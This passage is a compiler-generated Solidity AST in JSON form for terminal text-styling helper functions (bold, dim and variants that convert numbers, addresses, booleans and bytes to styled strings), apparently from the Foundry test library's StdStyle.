"expression":{"arguments":[{"arguments":[{"id":10119,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10111,"src":"6422:4:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":10117,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"6410:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10118,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6413:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13449,"src":"6410:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (int256) pure external returns (string memory)"}},"id":10120,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6410:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10116,"name":"bold","nodeType":"Identifier","overloadedDeclarations":[10094,10109,10124,10139,10154],"referencedDeclaration":10094,"src":"6405:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10121,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6405:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10115,"id":10122,"nodeType":"Return","src":"6398:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"bold","nameLocation":"6332:4:9","parameters":{"id":10112,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10111,"mutability":"mutable","name":"self","nameLocation":"6344:4:9","nodeType":"VariableDeclaration","scope":10124,"src":"6337:11:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":10110,"name":"int256","nodeType":"ElementaryTypeName","src":"6337:6:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"6336:13:9"},"returnParameters":{"id":10115,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10114,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10124,"src":"6373:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10113,"name":"string","nodeType":"ElementaryTypeName","src":"6373:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6372:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10139,"nodeType":"FunctionDefinition","src":"6441:113:9","nodes":[],"body":{"id":10138,"nodeType":"Block","src":"6507:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10134,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10126,"src":"6541:4:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":10132,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"6529:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10133,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6532:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13409,"src":"6529:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (address) pure external returns (string memory)"}},"id":10135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6529:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10131,"name":"bold","nodeType":"Identifier","overloadedDeclarations":[10094,10109,10124,10139,10154],"referencedDeclaration":10094,"src":"6524:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10136,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6524:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10130,"id":10137,"nodeType":"Return","src":"6517:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"bold","nameLocation":"6450:4:9","parameters":{"id":10127,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10126,"mutability":"mutable","name":"self","nameLocation":"6463:4:9","nodeType":"VariableDeclaration","scope":10139,"src":"6455:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":10125,"name":"address","nodeType":"ElementaryTypeName","src":"6455:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"6454:14:9"},"returnParameters":{"id":10130,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10129,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10139,"src":"6492:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10128,"name":"string","nodeType":"ElementaryTypeName","src":"6492:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6491:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10154,"nodeType":"FunctionDefinition","src":"6560:110:9","nodes":[],"body":{"id":10153,"nodeType":"Block","src":"6623:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10149,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10141,"src":"6657:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":10147,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"6645:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10148,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6648:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13433,"src":"6645:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (bool) pure external returns (string memory)"}},"id":10150,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6645:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10146,"name":"bold","nodeType":"Identifier","overloadedDeclarations":[10094,10109,10124,10139,10154],"referencedDeclaration":10094,"src":"6640:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10151,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6640:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10145,"id":10152,"nodeType":"Return","src":"6633:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"bold","nameLocation":"6569:4:9","parameters":{"id":10142,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10141,"mutability":"mutable","name":"self","nameLocation":"6579:4:9","nodeType":"VariableDeclaration","scope":10154,"src":"6574:9:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":10140,"name":"bool","nodeType":"ElementaryTypeName","src":"6574:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"6573:11:9"},"returnParameters":{"id":10145,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10144,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10154,"src":"6608:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10143,"name":"string","nodeType":"ElementaryTypeName","src":"6608:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6607:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10169,"nodeType":"FunctionDefinition","src":"6676:123:9","nodes":[],"body":{"id":10168,"nodeType":"Block","src":"6752:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10164,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10156,"src":"6786:4:9","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":10162,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"6774:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10163,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6777:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13417,"src":"6774:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (bytes memory) pure external returns (string memory)"}},"id":10165,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6774:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10161,"name":"bold","nodeType":"Identifier","overloadedDeclarations":[10094,10109,10124,10139,10154],"referencedDeclaration":10094,"src":"6769:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10166,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6769:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10160,"id":10167,"nodeType":"Return","src":"6762:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"boldBytes","nameLocation":"6685:9:9","parameters":{"id":10157,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10156,"mutability":"mutable","name":"self","nameLocation":"6708:4:9","nodeType":"VariableDeclaration","scope":10169,"src":"6695:17:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":10155,"name":"bytes","nodeType":"ElementaryTypeName","src":"6695:5:9","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6694:19:9"},"returnParameters":{"id":10160,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10159,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10169,"src":"6737:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10158,"name":"string","nodeType":"ElementaryTypeName","src":"6737:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6736:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10184,"nodeType":"FunctionDefinition","src":"6805:120:9","nodes":[],"body":{"id":10183,"nodeType":"Block","src":"6878:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10179,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10171,"src":"6912:4:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":10177,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"6900:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10178,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6903:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13425,"src":"6900:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (bytes32) pure external returns (string memory)"}},"id":10180,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6900:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10176,"name":"bold","nodeType":"Identifier","overloadedDeclarations":[10094,10109,10124,10139,10154],"referencedDeclaration":10094,"src":"6895:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10181,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6895:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10175,"id":10182,"nodeType":"Return","src":"6888:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"boldBytes32","nameLocation":"6814:11:9","parameters":{"id":10172,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10171,"mutability":"mutable","name":"self","nameLocation":"6834:4:9","nodeType":"VariableDeclaration","scope":10184,"src":"6826:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":10170,"name":"bytes32","nodeType":"ElementaryTypeName","src":"6826:7:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"6825:14:9"},"returnParameters":{"id":10175,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10174,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10184,"src":"6863:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10173,"name":"string","nodeType":"ElementaryTypeName","src":"6863:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6862:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10197,"nodeType":"FunctionDefinition","src":"6931:117:9","nodes":[],"body":{"id":10196,"nodeType":"Block","src":"7002:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"id":10192,"name":"DIM","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9431,"src":"7031:3:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10193,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10186,"src":"7036:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10191,"name":"styleConcat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9463,"src":"7019:11:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure returns (string memory)"}},"id":10194,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7019:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10190,"id":10195,"nodeType":"Return","src":"7012:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"dim","nameLocation":"6940:3:9","parameters":{"id":10187,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10186,"mutability":"mutable","name":"self","nameLocation":"6958:4:9","nodeType":"VariableDeclaration","scope":10197,"src":"6944:18:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10185,"name":"string","nodeType":"ElementaryTypeName","src":"6944:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6943:20:9"},"returnParameters":{"id":10190,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10189,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10197,"src":"6987:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10188,"name":"string","nodeType":"ElementaryTypeName","src":"6987:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6986:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10212,"nodeType":"FunctionDefinition","src":"7054:111:9","nodes":[],"body":{"id":10211,"nodeType":"Block","src":"7119:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10207,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10199,"src":"7152:4:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":10205,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"7140:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10206,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7143:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"7140:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":10208,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7140:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10204,"name":"dim","nodeType":"Identifier","overloadedDeclarations":[10197,10212,10227,10242,10257],"referencedDeclaration":10197,"src":"7136:3:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10209,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7136:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10203,"id":10210,"nodeType":"Return","src":"7129:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"dim","nameLocation":"7063:3:9","parameters":{"id":10200,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10199,"mutability":"mutable","name":"self","nameLocation":"7075:4:9","nodeType":"VariableDeclaration","scope":10212,"src":"7067:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":10198,"name":"uint256","nodeType":"ElementaryTypeName","src":"7067:7:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7066:14:9"},"returnParameters":{"id":10203,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10202,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10212,"src":"7104:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10201,"name":"string","nodeType":"ElementaryTypeName","src":"7104:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7103:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10227,"nodeType":"FunctionDefinition","src":"7171:110:9","nodes":[],"body":{"id":10226,"nodeType":"Block","src":"7235:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10222,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10214,"src":"7268:4:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":10220,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"7256:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10221,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7259:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13449,"src":"7256:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (int256) pure external returns (string memory)"}},"id":10223,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7256:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10219,"name":"dim","nodeType":"Identifier","overloadedDeclarations":[10197,10212,10227,10242,10257],"referencedDeclaration":10197,"src":"7252:3:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10224,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7252:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10218,"id":10225,"nodeType":"Return","src":"7245:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"dim","nameLocation":"7180:3:9","parameters":{"id":10215,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10214,"mutability":"mutable","name":"self","nameLocation":"7191:4:9","nodeType":"VariableDeclaration","scope":10227,"src":"7184:11:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":10213,"name":"int256","nodeType":"ElementaryTypeName","src":"7184:6:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"7183:13:9"},"returnParameters":{"id":10218,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10217,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10227,"src":"7220:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10216,"name":"string","nodeType":"ElementaryTypeName","src":"7220:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7219:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10242,"nodeType":"FunctionDefinition","src":"7287:111:9","nodes":[],"body":{"id":10241,"nodeType":"Block","src":"7352:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10237,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10229,"src":"7385:4:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":10235,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"7373:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10236,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7376:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13409,"src":"7373:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (address) pure external returns (string memory)"}},"id":10238,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7373:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10234,"name":"dim","nodeType":"Identifier","overloadedDeclarations":[10197,10212,10227,10242,10257],"referencedDeclaration":10197,"src":"7369:3:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10239,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7369:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10233,"id":10240,"nodeType":"Return","src":"7362:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"dim","nameLocation":"7296:3:9","parameters":{"id":10230,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10229,"mutability":"mutable","name":"self","nameLocation":"7308:4:9","nodeType":"VariableDeclaration","scope":10242,"src":"7300:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":10228,"name":"address","nodeType":"ElementaryTypeName","src":"7300:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"7299:14:9"},"returnParameters":{"id":10233,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10232,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10242,"src":"7337:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10231,"name":"string","nodeType":"ElementaryTypeName","src":"7337:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7336:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10257,"nodeType":"FunctionDefinition","src":"7404:108:9","nodes":[],"body":{"id":10256,"nodeType":"Block","src":"7466:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10252,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10244,"src":"7499:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":10250,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"7487:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10251,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7490:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13433,"src":"7487:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (bool) pure external returns (string 